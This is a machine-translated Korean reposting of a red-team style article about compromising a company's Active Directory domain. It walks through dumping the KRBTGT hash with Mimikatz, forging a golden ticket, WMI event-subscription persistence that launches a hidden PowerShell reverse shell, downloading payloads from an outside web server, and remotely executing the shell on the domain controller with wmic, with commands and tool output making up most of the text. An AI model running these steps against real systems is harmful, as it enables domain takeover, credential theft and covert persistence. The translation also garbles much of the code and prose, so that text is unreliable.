회사 스마트폰 보안 (iii)-도메인 컨트롤러를 대상으로 하 고 황금 티켓을 찾고

출처: 인터넷
작성자: 사용자

회사 스마트 전화 보안 (iii)-도메인 컨트롤러를 대상으로 하 고 황금 티켓을 찾고. 내부 네트워크를 떠나기 전에 우리는 도메인 컨트롤러, 특히 Kerberos 계정 (KRBTGT)를 만드는 황금 티켓 *의 해시를 얻을 하기로 결정 했다.

골든 티켓 위조 TGT (티켓 부여 티켓) 참조, 티켓은 동일한 실버 위조 TGS (티켓 부여 서버)

골든 티켓 공격 무단된 액세스에 대 한 오프 라인 Kerberos TGT를 만들고 도메인 사용자를 위조 수 있습니다. 또한, 그것은 10 년 동안, 즉, 적합으로 만들어진 도메인 관리자의 자격 증명 변경 하는 경우에. 그것은 특권에 대 한 우수 사례는 가요?

이 작업을 달성 하기 위해 필요 합니다.

KRBTGT 해시

도메인 SID

사용자 이름 (이것은 관리자)

도메인 이름 (이 Supercompany)

비슷한 방식으로 (포트 포워딩 srvwsus, 향상 된 smbexec, 등), 우리는 현재 바로 새로운 로컬 관리자와 도메인 컨트롤러에는 PowerShell 있다.

데이터에 대 한 Active Directory를 얻을 하 고 Hash.txt에 저장을 혼란 Mimikatz를 수행 했습니다.

호출 mymy 명령 ' privilege::d ebug "Lsadump::lsa/주입" > Hash.txt

Mimikatz 스크립트 파일의 끝에 자동 호출 명령 없이. 우리 exfiltrated 우리의 웹 서버에 해시 파일. 이것은 그것의 내용:

제거: 000001f6 (502)

사용자: krbtgt

* 기본

LM:

Ntlm:3003567af268a4axxxxxxxxxxxxxxxxx

우리 도메인 SID를가지고 자동으로 도메인 컨트롤러에서 가져온, 받을 addomain cmdlet를 사용 하 여:

추 신: c:\test > Get-addomain

AllowedDNSSuffixes: {}

Childdomains: {}

Computerscontainer:cn 컴퓨터, = dc = supercompany, dc = 로컬

Deletedobjectscontainer:cn 삭제 된 개체, = dc = supercompany, dc = 로컬

Distinguishedname:dc = supercompany, dc = 로컬

DNSRoot:supercompany.local

Domaincontrollerscontainer:ou 도메인 =

컨트롤러, dc = supercompany, dc = 로컬

Domainmode:windows2012r2domain

domainsid:s-1-5-21-3534665177-2148510708-2241433719

...

참고: 우리는 관리자에서 도메인 SID를 얻을 수 있습니다 (해당 UID = 500) Mimikatz에 의해 얻어진 다:

s-1-5-21-3534665177-2148510708-2241433719-500

이제 우리의 골든 티켓을 만들 시간 이다.

호출 mymy 명령 ' "Privilege::d ebug" "Kerberos::golden / admin:administrator / 도메인: supercompany. Local/sid:s-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb "'

.#####. Mimikatz 2.1 11 월 10 2016에 내장 된 (x64) 15시 31분: 14

.## ^ ##. "La Vie는 L ' 아무르"

## / \ ## /* * *

# # #/ # # 벤자민 델피 'Gentilkiwi' (benjamin@gentilkiwi.com)

' # # v # # Http://blog.gentilkiwi.com/mimikatz (Oe.eo)

' # ' 모듈 * * * *

Mimikatz (PowerShell) # Privilege::d Ebug

권한 ' 확인

Mimikatz (PowerShell) # Kerberos::golden / admin:administrator / 도메인: supercompany. Local/sid:s-1-5-21-3534665177-2148510708-2241433719/krbtgt:3003567af268a4a94e26f410e84353f1/ticket:admin.krb

사용자: 관리자

도메인: supercompany입니다. 현지 (Supercompany)

sid:s-1-5-21-3534665177-2148510708-2241433719

사용자 id: 500

그룹 Id: * 513 512 520 518 519

Servicekey:3003567af268a4a94e26f410e84353f1-rc4_hmac_nt

수명: 2/17/2017 오후 4시 02분: 10; 2/17/2027 오후 4시 02분: 10; 3/3/2027 오후 4시 02분: 10

TICKET:ADMIN.KRB->

* PAC 생성

* PAC 서명

* Encticketpart 생성

* Encticketpart 암호화

* Krbcred 생성

결국, 티켓은 후 우리는 Admin.krb 파일을 선택 하 고 나중에 그것을 사용 하 여 파일에 저장 됩니다.

기관 정비

시스템을 떠나기 전에 우리가 미래의 사용에 대 한 서버의 공용 네트워크에 대 한 액세스를 유지 하는 방법을 설정 해야 합니다. 이 단계에서는 하지 찾을 수는 쉽지 않다, 심지어 초보자 시스템 관리자는 몇 가지 단서를 찾을 것입니다.

우리는 instancemodificationevent를 활용 하 여 WMI 기능에 더 정교한 접근을 위한 기회를 선택 했습니다.

WMI 개체 인스턴스 변경의 레지스터는 instancemodificationevent로 사용 됩니다. 이러한 조건에서 우리 필터링 시스템 출시의 200-300 초 내 이벤트 시스템 부팅 시간, 우리 Eventconsumer에는 commandlineeventconsumer를 제공할 것입니다.

Srvwsus 서버에서 우리는 다음 명령을 보낸:

$filterName = "Justfortestfilter"

$consumerName = "Justfortestconsumer"

$exePath = "C:\windows\help\windows\indexstore\r.bat"

$Query = "선택 *에서 WHERE targetinstance ISA 내의 __InstanceModificationEvent ' Win32_perfformatteddata_perfos_sy 줄기 '와 targetinstance.systemuptime > = 및 Targetinstance.systemuptime

$WMIEventFilter = __eventfilter-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{이름 = $filterName; Eventnamespace = "Root\cimv2″; Querylanguage = "WQL"; 쿼리 = $Query}-erroraction 중지

$WMIEventConsumer = commandlineeventconsumer-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{이름 = $ Consumername; Executablepath = $exePath; Commandlinetemplate = $exepath}

__Filtertoconsumerbinding-세트-wmiinstance-클래스 네임 스페이스 "root\subscription"-인수 @{필터 = $WMIEventFilter; 소비자 = $WMIEventConsumer}

다음 R.bat, 만든 윈도 숨겨진된 폴더, 다음과 같이 읽는다:

Powershell executionpolicy 우회 windowstyle 숨겨진 f C:\windows\help\windows\indexstore\r.ps1

R.ps1 파일의 내용이:

$c = 새 개체 System.Net.Sockets.TCPClient (', 443);

$s = $c. GetStream (); [바이트 []] $b = 0..65535 | % {0};

동안 ($i = $s. 읽기 ($b, 0, $b. 길이))-ne 0) {;

$d (새로운 개체 typename System.Text.ASCIIEncoding) =. GetString ($b, 0, $i);

$SB = (전류 구동 $data 2 > & 1 | -문자열);

$SB 2 = $sb + 'PS' + (PWD). 경로 + ' > ';

$SB = ([Text.encoding]::ascii). GetBytes ($SB 2);

$s. 쓰기 ($SB, 0, $SB. 길이);

$s입니다. (플러시)};

$c. ()를 닫습니다 "

그것을 이렇게 하면 srvwsus 재 부 팅에 로컬 시스템 권한을 실행 하는 원격 셸.

마지막으로, 우리가 테스트 우리가 골든 티켓, 기억 admin.krb이이 파일?

로컬 시스템 관리자 권한이의 쉘 srvwsus에 의해 우리는 ADMIN.KRB 다운로드 포트 포워딩을 구성 하 고 Srvwsus 9000 포트에 R3.ps1 콜백 사용 하는 스크립트를 업로드.

이제 우리는 세션에서 티켓을 로드:

추 신: C:\tmp > 호출-mymy-명령 'Kerberos::p tt ADMIN.KRB'

.#####. Mimikatz 2.1 11 월 10 2016에 내장 된 (x64) 15시 31분: 14

.## ^ ##. "La Vie는 L ' 아무르"

## / \ ## /* * *

# # #/ # # 벤자민 델피 'Gentilkiwi' (benjamin@gentilkiwi.com)

' # # v # # Http://blog.gentilkiwi.com/mimikatz (Oe.eo)

' # ' 모듈 * * * *

Mimikatz (PowerShell) # Kerberos::p tt ADMIN.KRB

* 파일: 'ADMIN.KRB': 확인

Klist It를 사용 하 여 우리의 로드 Kerberos 토큰을 나열 할 수 있습니다.

추 신: c:\tmp > klist

현재 LogonId는 0:0x3e7

캐시 된 티켓: (1)

#0 > 클라이언트: 관리자 supercompany @. 지역

서버: krbtgt / supercompany. @ Supercompany 지역. 지역

Kerbticket 암호화 유형: rsadsi Rc4-hmac (NT)

티켓 플래그 0x40e00000-> forwardable 재생 초기 pre_authent

시작 시간: 2/17/2017 1시 02분: 10 (로컬)

종료 시간: 2/17/2027 1시 02분: 10 (로컬)

갱신 시간: 2/18/2027 1시 02분: 10 (로컬)

세션 키 유형: rsadsi Rc4-hmac (NT)

캐시 플래그: 0x1-> 기본

KDC 라고:

성공, 성공적으로 로드 하는 티켓!

다음 작업에 대 한 우리는 Kerberos 자격 증명을 통해 원격 시스템에 액세스할 수 있도록 WMI 명령줄 인터페이스 프로그램 창 Wmic.exe 유틸리티를 사용 합니다.

우리는 아무 문제 없이 도메인 컨트롤러에 R3.PS1 복제, 그냥 우리의 세션 관리자 티켓 로드!

추 신: c:\tmp > C:\tmp\r3.ps1 \\srvdc1\c$\windows\temp\r3.ps1″를 복사

그리고 실행:

추 신: c:\tmp > wmic/기관: "KERBEROS:SUPERCOMPANY\SRVDC1″ / 노드: SRVDC1 프로세스 호출 만들기" PowerShell- ExecutionPolicy 우회 windowstyle 숨겨진 f C:\windows\temp\r3.ps1 "

실행 (Win32_Process)-> ()를 만들

메서드 실행 성공입니다.

Out 매개 변수:

__Parameters 인스턴스

{

ProcessID = 4528;

returnvalue = 0;

};

우리는 잠시 기다렸다 고 우리의 컴퓨터에서 우리는 SRVDC1에서 셸을 보았다:

추 신: c:\windows\system32 > WhoAmI

Supercompany\administrator

관리자의 암호 변경 하는 경우에 그것은 작동 하는 것이 즉.

나는 황금 티켓의 잠재적인 위험에 대해 말을 몇 마디:

찾기 매우 어려운 Kerberos 티켓 (https://adsecurity.org/?p=1515) 단조

증거의 경우이 작업을 수행 하는 유일한 방법은 두 번, KRBTG 암호를 다시 설정 하는 하지만이 active Directory 인프라에 심각한 영향을 미칠 수 있습니다.

할 수 있는 마지막 일

어떻게 우리가 첫 번째 PowerShell 원격 쉘에에서 있어 Srvwsus 기억?

우리는 안 드 로이드 전화는 Meterpreter 통해 연결을 전달 하도록 인트라넷 서버에서 원격 명령 실행. 만일 우리가 PowerShell의 원격 셸을 잃게 하 고 피해자를 연결 하지? 게임 오버...

우리 Srvwsus 쉘에 지속적인 액세스를 추가할 필요가!

어떻게 해야 합니까? 대답 Tomcat의 Webshell에서 Srvwsus에 액세스를 추가 하는:

# 1 Smbexec 명령:

전류 구동 (새 개체 net.webclient)입니다. DownloadFile ('Http:///r1.ps1',

C:\tmp\r1.ps1 ')

# 2 Smbexec 명령:

전류 구동 (새 개체 net.webclient)입니다. DownloadFile ('Http:///r1.bat',

C:\tmp\r1.bat ')

# 3 smbexec 명령:

' Cmd/c C:\tmp\r1.bat '

R1.bat는 무엇을 포함 하는가?

@echo

: 루프

Powershell executionpolicy 우회 windowstyle 숨겨진 f C:\tmp\r.ps1

타임 아웃/t 10

Goto 루프

그것은 우아한, 하지만 그것은 작동 합니다. 연결 손실 후 다시 연결을 10 초 동안 기다립니다.

물론 암호화 하 고 모두를 혼동 수 있습니다 우리는. PS1 스크립트, 하지만 우리가 어떻게 작동 하는지 보여 싶어요.

결론

이것은 우리의 일은 우리가 새로운, 하지만 Windows 기본 제공 기능 및 일부 스크립트와 아무것도 발명 하지 않았다, 우리 큰일 나요. 때로는 우리가 마술 도구를 필요 하지 않습니다, 그리고 우리는 그냥 키스를 필요

관련 문서

연락처

이 페이지의 내용은 인터넷에서 가져온 것이므로 Alibaba Cloud의 공식 의견이 아닙니다.이 페이지에서 언급 된 제품 및 서비스는 Alibaba Cloud와는 관련이 없으므로이 페이지의 내용이 골칫거리 인 경우 저희에게 알려주십시오. 우리는 5 일 근무일 이내에 이메일을 처리 할 것입니다.

커뮤니티에서 표절 사례를 발견한 경우 info-contact@alibabacloud.com 으로 관련 증거를 첨부하여 이메일을 보내주시기 바랍니다. 당사 직원이 영업일 기준 5일 내에 연락 드리도록 하겠습니다.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.